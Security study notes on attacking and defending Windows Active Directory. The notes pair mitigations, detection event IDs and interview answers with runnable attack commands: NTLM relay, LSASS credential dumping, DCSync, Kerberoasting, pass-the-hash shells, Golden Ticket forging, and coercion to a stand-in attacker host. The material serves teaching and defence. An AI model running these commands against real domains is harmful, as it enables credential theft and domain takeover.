Security Notes
Windows

Windows Active Directory — Attack & Defence

15 min read 9 sections 10 model answers

Breadth layernotes-security-core-knowledge.md


AD Architecture

Forest (trust boundary)
  └── Domain (security boundary)
        ├── Domain Controllers (DC) — authenticate users, store NTDS.dit
        ├── Organisational Units (OUs) — logical groupings; GPOs applied here
        ├── Users & Computers (objects)
        ├── Groups (security groups vs distribution groups)
        └── Group Policy Objects (GPOs) — settings pushed to machines/users

Key services on a DC

LDAP (389/636)

directory queries; BloodHound uses this for enumeration

Kerberos (88)

authentication tickets

DNS (53)

AD-integrated DNS; essential for domain function

SMB (445)

file sharing, netlogon, SYSVOL

RPC (135, dynamic range)

inter-process calls; DCSync uses this

Critical files

  • NTDS.dit — the AD database; stores all users, groups, and credential hashes. Located at C:\Windows\NTDS\NTDS.dit on every DC. Protected by SYSTEM; accessible offline via volume shadow copy.
  • SYSTEM hive — contains the boot key (SYSKEY) needed to decrypt NTDS.dit hashes.
  • SYSVOL — replicated folder shared to all domain members; holds GPOs, logon scripts. Used to be a common place to find credentials in GPP files.

Authentication — NTLM vs Kerberos

NTLM (Legacy, Still Everywhere)

Challenge-response authentication:

1. Client → Server: NEGOTIATE_MESSAGE (client capabilities)
2. Server → Client: CHALLENGE_MESSAGE (8-byte random challenge)
3. Client → Server: AUTHENTICATE_MESSAGE (NTHash(password) XOR challenge)
Memory hook

"the hash IS the password." This one sentence explains most AD attacks. NTLM never sends the password and never re-hashes a typed password at auth time — it proves knowledge of the hash. So stealing the hash from memory (LSASS) is as good as stealing the password; you never need to crack it. That's why it's called Pass-the-Hash, and why every defense (Credential Guard, Protected Users, LAPS) is ultimately about keeping hashes out of reach. Kerberos has the same property with tickets (Pass-the-Ticket). The mental model: in AD, the secret you must protect isn't the password — it's its derived material in memory.

NTLM weaknesses

  • The hash is the password for authentication — if you have the hash, you can authenticate (Pass-the-Hash)
  • The response can be captured and cracked offline (NTLMv2 is stronger but still crackable)
  • Relay attacks: capture an NTLM authentication and relay it to another service (NTLM Relay)
  • No mutual authentication — client doesn't verify the server

NTLM Relay Attack

1. Attacker triggers NTLM auth from victim to attacker (LLMNR/NBNS poisoning, rogue SMB share)
2. Attacker relays auth to target service (SMB, LDAP, HTTP)
3. Attacker gets authenticated session on target as victim

Tools: Responder (capture), ntlmrelayx.py (relay)
bash
# Start Responder to capture NTLM hashes
responder -I eth0 -rdwP

# Relay to target (e.g. dump SAM database)
ntlmrelayx.py -t smb://192.168.1.10 -smb2support

Kerberos — See auth deep dive


Enumeration

With Credentials (Standard User)

bash
# BloodHound — maps attack paths to Domain Admin
bloodhound-python -u user -p password -ns 10.10.10.10 -d corp.local -c All
# Import JSON files into BloodHound GUI
# Query: "Shortest path to Domain Admin from owned principals"

# LDAP enumeration with ldapdomaindump
ldapdomaindump -u 'corp\user' -p 'password' ldap://10.10.10.10

# PowerView (PowerShell, from a Windows host)
Get-DomainUser -Properties samaccountname,memberof,lastlogon
Get-DomainGroup "Domain Admins" | Get-DomainGroupMember
Get-DomainComputer -Properties name,operatingsystem,lastlogontimestamp
Find-LocalAdminAccess  # find machines where current user is local admin

# Enumerate GPO passwords (GPP)
Get-GPPPassword

Without Credentials (Unauthenticated)

bash
# LDAP null bind — sometimes allowed on older DCs
ldapsearch -x -H ldap://10.10.10.10 -b "DC=corp,DC=local"

# Enumerate users via Kerberos pre-auth (no creds needed)
kerbrute userenum --dc 10.10.10.10 -d corp.local userlist.txt

# SMB null sessions (legacy)
smbclient -N -L //10.10.10.10
enum4linux -a 10.10.10.10

Credential Attacks

Pass-the-Hash (PtH)

NTLM authentication uses the hash directly — you don't need to crack it.

bash
# Get a shell using stolen NTLM hash
evil-winrm -i 10.10.10.10 -u Administrator -H "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"

# Lateral movement via SMB
impacket-psexec corp.local/Administrator@10.10.10.10 -hashes :NTHash

# impacket wmiexec (stealthier — no service creation)
impacket-wmiexec corp.local/Administrator@10.10.10.10 -hashes :NTHash

MitigationProtected Users security group (no NTLM for members); Credential Guard (virtualises LSASS, prevents hash extraction); disable NTLMv1; require SMB signing.

LSASS Dumping

LSASS holds credential material in memory (NTLM hashes, Kerberos tickets, cleartext passwords in some configs).

bash
# Method 1: Task Manager (GUI) — right-click lsass.exe → Create dump file
# Method 2: procdump (Sysinternals)
procdump64.exe -ma lsass.exe lsass.dmp

# Method 3: comsvcs.dll minidump (LOLBin)
rundll32.exe C:\windows\System32\comsvcs.dll MiniDump <LSASS_PID> C:\lsass.dmp full

# Method 4: Mimikatz
privilege::debug
sekurlsa::logonpasswords

# Extract from dump file (offline — evades EDR)
mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"

MitigationCredential Guard; enable LSA Protection (RunAsPPL=1); monitor for SeDebugPrivilege use on LSASS; deny process access from non-SYSTEM processes via SACL on LSASS.

DCSync

Impersonate a DC to request all credential hashes via the MS-DRSR replication protocol. Requires DS-Replication-Get-Changes-All permission (Domain Admin, SYSTEM, or explicit delegation).

bash
# From a compromised host with appropriate privileges
mimikatz "lsadump::dcsync /user:krbtgt /domain:corp.local"
impacket-secretsdump corp.local/admin:password@10.10.10.10

DetectionLook for 4662 event (object access with DS-Replication-Get-Changes-All property), especially from non-DC machines.

Memory hook

DCSync detection in one ideaReplication is supposed to happen between domain controllers. DCSync is an attacker pretending to be a DC to ask the real DC "replicate me all the password hashes." So the detection is simple to state: a replication request (DS-Replication-Get-Changes-All, event 4662) coming from an IP that isn't a domain controller. Real DCs replicate; your finance laptop does not. That "non-DC asking for replication" anomaly is the cleanest signal in AD detection.

Kerberoasting

bash
# Request TGS for all SPNs — take offline for cracking
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt

# Crack
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
john --wordlist=rockyou.txt kerberoast.txt

DetectionEvent 4769 (Kerberos Service Ticket Request) with RC4 encryption type from a non-service account. High volume of TGS requests from a single source.

AS-REP Roasting

bash
# Find accounts with pre-auth disabled
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.10 -outputfile asrep.txt

# Crack
hashcat -m 18200 asrep.txt rockyou.txt

Lateral Movement

PSExec / SMBExec / WMIExec

bash
# impacket psexec — creates a service on target
impacket-psexec corp.local/admin:password@10.10.10.10

# wmiexec — stealthier; no service creation
impacket-wmiexec corp.local/admin:password@10.10.10.10

# smbexec — uses existing SMB shares
impacket-smbexec corp.local/admin:password@10.10.10.10

WinRM / Evil-WinRM

bash
evil-winrm -i 10.10.10.10 -u admin -p password
# or with hash
evil-winrm -i 10.10.10.10 -u admin -H NTHashHere

RDP (Remote Desktop)

bash
# Enable RDP and add user (requires admin)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net localgroup "Remote Desktop Users" domain\user /add

# Connect
xfreerdp /u:admin /p:password /v:10.10.10.10

Privilege Escalation to Domain Admin

Common Paths (BloodHound shows these graphically)

Memory hook

BloodHound turns AD into a graphThe insight that made BloodHound revolutionary: Active Directory permissions form a directed graph — "user A can reset user B's password," "B is admin on server C," "C has a DA session in memory." Defenders saw a list of permissions; attackers (and now defenders) see paths. BloodHound just runs shortest-path graph queries from "what I control" to "Domain Admin." The defensive takeaway: you don't secure AD by fixing single permissions, you secure it by cutting the edges that form paths to Tier 0. This is why "attack path management" is now its own discipline.

  1. GenericAll on user → reset password → log in as them
  2. WriteDACL on group → add yourself to Domain Admins
  3. ForceChangePassword → change any user's password
  4. Unconstrained delegation machine → coerce DC auth → get DC TGT → DCSync
  5. Constrained delegation with protocol transition → s4u2self + s4u2proxy
  6. WriteOwner on object → change owner to yourself → grant yourself permissions
  7. ACE abuse chain — each misconfigured ACE is a link; chain them to reach DA

Unconstrained Delegation

A machine (or service account) with unconstrained delegation stores copies of all TGTs it receives. If an attacker compromises this machine, they can extract all TGTs — including DC computer account TGTs triggered via MS-RPRN (PrintSpooler) coercion.

bash
# Find unconstrained delegation computers
Get-DomainComputer -Unconstrained | Select-Object name

# Coerce DC to authenticate to our server (triggers TGT storage)
python3 printerbug.py corp.local/user:password@dc.corp.local attacker.corp.local

# Extract the DC TGT with Mimikatz
sekurlsa::tickets /export
# Use TGT for DCSync

ACL / ACE Abuse

powershell
# Find interesting ACEs pointing to DA path
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -like "*user*"}

# Example: GenericAll on a user → force password change
Set-DomainUserPassword -Identity "targetuser" -AccountPassword (ConvertTo-SecureString "NewP@ss!" -AsPlainText -Force)

Persistence

Golden Ticket

bash
# 1. Get krbtgt hash (requires DA or DCSync)
mimikatz "lsadump::dcsync /user:krbtgt"

# 2. Forge TGT
mimikatz "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxxx /krbtgt:<hash> /id:500 /ptt"

# TGT is valid for 10 years; survives most remediation unless krbtgt is reset TWICE

RemediationReset krbtgt password twice (force replication between resets; wait for ticket expiry). The double reset is required because a single reset still allows forging using the previous hash (which remains in the old-password slot).

Memory hook

Golden vs Silver, and the double reset. Golden = the krbtgt key = the master skeleton key to the whole domain (forge a TGT for anyone). Silver = one service's key = a key to a single door (forge a service ticket for one service; never touches the DC, so stealthier). Mnemonic: Gold opens the kingdom, Silver opens one room. And the krbtgt double reset trips everyone up: Kerberos keeps the current and previous password to avoid breaking tickets mid-rotation, so one reset leaves the attacker's forged tickets valid against the old key — you must reset twice (with replication in between) to flush both slots.

Skeleton Key

Mimikatz patches LSASS to allow any password to authenticate as any user (while legitimate passwords still work).

bash
mimikatz "misc::skeleton"
# Now any user can auth with password "mimikatz"

Only survives until DC reboot; detected by AV/EDR but demonstrates LSASS patching concept.

DCShadow

Register a rogue DC and push malicious changes (e.g. add SIDHistory, modify group membership) to the real domain. Extremely stealthy — changes appear to come from a legitimate DC.

bash
mimikatz "lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-...-519"

Defence and Detection

Key Event IDs

Event IDDescription
4624Logon success (type 3 = network, type 10 = RemoteInteractive)
4625Logon failure
4648Logon using explicit credentials (RunAs, PtH indicator)
4662Object operation — DS-Replication-Get-Changes (DCSync)
4663Object access attempt
4672Special privileges assigned (admin token)
4688Process creation (requires audit policy; enable with full command line)
4720User account created
4728/4732/4756Member added to security-enabled group
4769Kerberos service ticket (TGS) requested — watch for RC4 type
4771Kerberos pre-auth failure
4776NTLM authentication
7045New service installed (PsExec, lateral movement)

Protective Controls

Tiered administration model

separate admin accounts for Tier 0 (DCs), Tier 1 (servers), Tier 2 (workstations); prevent DA credentials from ever touching workstations

Protected Users security group

members can't use NTLM, DES, RC4; TGT lifetime reduced; prevents credential caching

Credential Guard

virtualises LSASS using Hyper-V; prevents hash extraction from LSASS memory

LAPS (Local Admin Password Solution)

randomises local admin password per machine; prevents lateral movement via shared local admin password

SMB signing

required on all machines; prevents NTLM relay over SMB

Disable LLMNR and NBNS

prevents Responder-style hash capture

Audit process creation with full command line

catch LOLBin abuse and malicious PowerShell


Interview Questions

Q
What is BloodHound and how does it help an attacker?
Model answer

BloodHound models Active Directory as a directed graph where nodes are users, computers, and groups, and edges are relationships like "has admin rights on," "can reset the password of," or "has a session on." It collects this data via LDAP and session enumeration, then runs shortest-path queries from the principals an attacker controls to high-value targets like Domain Admin. The power is that AD admins historically saw permissions as a flat list, but BloodHound reveals the chains — a series of individually-minor misconfigurations that together form a path to full compromise. Defenders now use it too, for attack-path management — finding and cutting the edges that lead to Tier 0.

Q
Explain Pass-the-Hash. Why is Credential Guard effective?
Model answer

NTLM authentication proves knowledge of the password hash, not the plaintext — the hash is never reversed at auth time. So an attacker who extracts an NTLM hash from LSASS memory can authenticate as that user without ever cracking it, simply by passing the hash. Credential Guard mitigates this by using virtualization-based security to isolate LSASS secrets in a separate, hardened virtual environment that even SYSTEM-level malware on the host can't read. Since the attack depends on reading hashes out of LSASS, putting those secrets behind a hypervisor boundary removes the source. It doesn't stop everything — keyloggers, or hashes cached elsewhere — but it closes the primary LSASS-dumping path.

Q
What is Kerberoasting and what account properties make it possible?
Model answer

Any authenticated domain user can request a Kerberos service ticket for any service principal name, and that ticket is encrypted with the target service account's password hash. The attacker requests tickets for service accounts and cracks them offline at leisure — no failed logons, nothing noisy. The properties that make an account vulnerable: it has an SPN registered (so it's targetable), it has a weak human-set password (so it's crackable), and ideally it's privileged (so the payoff is high). RC4-encrypted tickets are especially crackable. Mitigations are long random passwords or group-managed service accounts with 120-character machine-rotated passwords, plus detecting abnormal volumes of RC4 TGS requests (event 4769).

Q
What's the difference between a Golden Ticket and a Silver Ticket?
Model answer

A Golden Ticket is a forged TGT created with the krbtgt account's hash — since krbtgt signs all tickets in the domain, this lets the attacker mint a ticket for any user with any privileges, granting domain-wide access that persists until krbtgt is reset twice. A Silver Ticket is a forged service ticket created with a single service account's hash, scoped to just that one service — it's more limited but stealthier because it never contacts the domain controller, so there's no TGS request to detect. Mnemonic: Gold is the master key to the whole domain, Silver opens one specific door.

Q
How does DCSync work and what permissions does it require?
Model answer

DCSync abuses the directory replication protocol (MS-DRSR). The attacker, from a host with sufficient rights, sends the real domain controller a replication request as if they were another DC, asking it to replicate account credentials — and the DC hands over the hashes, including krbtgt and every user. It requires the Get-Changes and Get-Changes-All replication permissions, which Domain Admins, Enterprise Admins, and DCs have by default, but which can also be delegated to a lower account — a common stealthy persistence trick. Detection: event 4662 showing a replication-rights object access originating from an IP that isn't a domain controller, since only real DCs should replicate.

Q
Explain NTLM relay. How does SMB signing prevent it?
Model answer

NTLM has no mutual authentication and no binding of the auth to a specific session, so an attacker who captures an NTLM authentication — often by poisoning LLMNR/NBNS to coerce a victim to authenticate to them — can relay that authentication to a third service and get an authenticated session as the victim, without ever knowing the password or hash. SMB signing prevents the SMB case because it cryptographically signs each message with a key derived from the session; a relay attacker can pass the authentication but can't produce valid signatures for the relayed session, so the target rejects it. Enforcing SMB signing everywhere, plus disabling LLMNR/NBNS and using Extended Protection for Authentication, closes the common relay paths.

Q
What is the Protected Users security group and what does it prevent?
Model answer

Protected Users is a security group that applies stronger authentication protections to its members: they can't authenticate with NTLM, can't use DES or RC4 Kerberos encryption, aren't subject to credential delegation, and their credentials aren't cached, plus their TGT lifetime is shortened. The effect is to drastically reduce the credential-theft and relay surface for high-value accounts — no NTLM hash to pass, no long-lived cached credentials on workstations, no delegation abuse. It's meant for privileged accounts like Domain Admins, and pairs with the tiered-administration model. The caveat is that placing service accounts in it can break things that depend on NTLM or delegation, so it's applied carefully.

Q
An attacker compromised a workstation. Walk me through how they might reach Domain Admin.
Model answer

First they establish local privilege and dump credentials from LSASS — local admin hashes, cached domain creds, any tokens or tickets in memory. They run BloodHound to map attack paths from what they now control. From there it's a chain: maybe the local admin password is shared across machines (no LAPS), so they pass-the-hash laterally to a server where a privileged user has a session, dump that session's token or TGT, and repeat — escalating toward Tier 0. Along the way they might Kerberoast a privileged service account, abuse an ACL like GenericAll on a group, or find unconstrained delegation and coerce a DC to authenticate to capture its TGT. The end states are usually DCSync to grab krbtgt, then a Golden Ticket for persistence. The defense is breaking those edges: LAPS, tiering, Credential Guard, and not letting DA credentials touch lower tiers.

Q
What's the difference between constrained and unconstrained delegation?
Model answer

Delegation lets a service act on a user's behalf to a back-end service. With unconstrained delegation, a machine receives and stores the user's full TGT, so it can impersonate them to anything — which is dangerous, because compromising that machine yields every TGT it has cached, and an attacker can coerce a DC to authenticate to it (PrinterBug) and capture the DC's TGT. Constrained delegation limits the service to impersonating users only to a specified list of target services, reducing the blast radius. There's also resource-based constrained delegation, which moves the trust configuration to the resource side. The key risk to flag is unconstrained delegation on a non-DC, which is effectively a path to domain compromise.

Q
How do you detect DCSync in Windows event logs?
Model answer

Look for event 4662 — an operation on a directory object — where the properties accessed include the replication rights, specifically DS-Replication-Get-Changes and DS-Replication-Get-Changes-All (identifiable by their control-access-right GUIDs). The critical filter is the source: legitimate replication only happens between domain controllers, so a 4662 replication event originating from any account or host that isn't a DC is the DCSync signal. You'd all-list the DC computer accounts and alert on anything else requesting replication. It's one of the highest-fidelity detections in AD because the legitimate baseline is so narrow.